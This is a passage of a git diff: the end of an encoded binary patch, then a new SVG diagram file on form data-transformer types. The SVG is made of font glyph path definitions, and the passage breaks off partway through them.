zRZ=1+&?r4vph5ShG|7yMcDz4Q<(&_!$UWN_wrvM#A(|{ywEIlvutUYM%N2WuFN?ya
zuR+2aRe=~$#b;SEFFC-!u8fzMh*X$gV`u&4F|J625f^&1>6O<^r$%F!u%Qc*{v=id
z2bb$8%&Q_rC57A5={FHxC!5ux+}s-WNSDD;>Hhr(qLwUJaLh8AkxIM?1$ZPeaS%xx
z*BKcg^!%z`WOcEev0CSrh|=Fn{?;}sFWE?$EP;ZR$PvGziWjme%Fo98eia%N8O!6g
z4uYCXS1TZmCI<!^IaRTcne4SBN#4@ByeeNMVO)>TL|fLee27u=r%ijBU87xYp9!ch
zN+n%4M;7^Ax1?iYpvf(ZRl;6ws!tOllBFH*Ki1tCrXlB(Mz>q#h9$nuR;-V(l^7!`
z)#ewfIvgu8X}#{2xjDG_Zq}F$T0H)|{<Q>G#%Rfat>>@8pug;y2p}6;jouD2LL8ZY
z<E%b)viwf!2+VzH*yMIbKw7G~UZHM16TKOnB)!#TcNyUF$&vmGg0wd)0`Y#&*t|nV
zmH(nBqZm}e>#_~DA-5fRZ`^%L6}3X@n2!aXPxW7wkmhU}L`M?i?vqIRUY);E-#J`5
zKUfk;mG&{-n`Y0{YU<y~BalhvMpt=Xc;_v=5=Ecm1U7atTN>QWCy=wFOLUdbe#PhB
z9)uUw=&~_{?t{G*92z?Q{aMBnZa=@<LtkHCrhRfv1rSxCcB2%3VNOm?B57g3gs?t(
zv|;_^NjtyLPFIOx`OE3}M>@nT^4dl0|I1`S;k<l|gmfJrydVtu?xYKoe)4|u4C<5f
zQL72}iH}9idyS4vA*P6NEO<-jqkmAtw*=@u?_W)-wn`l^Z(471lDRj4l>B>r!uT?>
za84-Te*Z+$v@=4sp&^Phpa0`7U}bi-(XKU57X%pqxZ^$s#wo_LJD-?$T}mUQt_>l~
zDW1)6ODWa}fD34o_lKI`EmH(C?{7O?yR_xKnT3kXMWSAA+qjeuAj0LLe3U*P;dNUy
z;4IYb&R>O&H_-t%e8qddeMa<JSOa8Y1D>-1H=fG@d2eJ<F=s8qC<pEMcfgAp)b{qD
z4?+);JsI)k-+xito&tEWYv@i0CH&7tkkHKt!~6#-MNu*2e6*m+uT-J~tpEIrf>6N)
zX-u$#|JTP-03f$)oNu9O|6W0*)p=w8ua>P*?dUHE0oB#N-Fb+1K?r8=zdrsw0P%zt
zBkXwoy@Ce9*hAWXn)^>@z5?7&$mr9s>HqW%j<ziL-`$YKU_-5>3XHt^|LL17`cK<`
zTLew3qhwmvSehRI4gPOWFk%M(yBmOQj|6Oc4}R(@INJQ%Juo2ubMOB*ATg*F@_z&J
d|9^$tFo+;iBY*8`D4~Hr6-7;j?@ufP{vW?erG@|i

diff --git a/_images/form/data-transformer-types.svg b/_images/form/data-transformer-types.svg
new file mode 100644
index 00000000000..9393b224f89
--- /dev/null
+++ b/_images/form/data-transformer-types.svg
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="404pt" height="312pt" viewBox="0 0 404 312" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 4.4375 -4.5 L 4.796875 -2.3125 L 4.84375 -2.3125 L 5.25 -4.53125 L 7.890625 -14.234375 L 9.453125 -14.234375 L 5.140625 0.21875 L 4.328125 0.21875 L -0.046875 -14.234375 L 1.640625 -14.234375 Z M 4.4375 -4.5 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
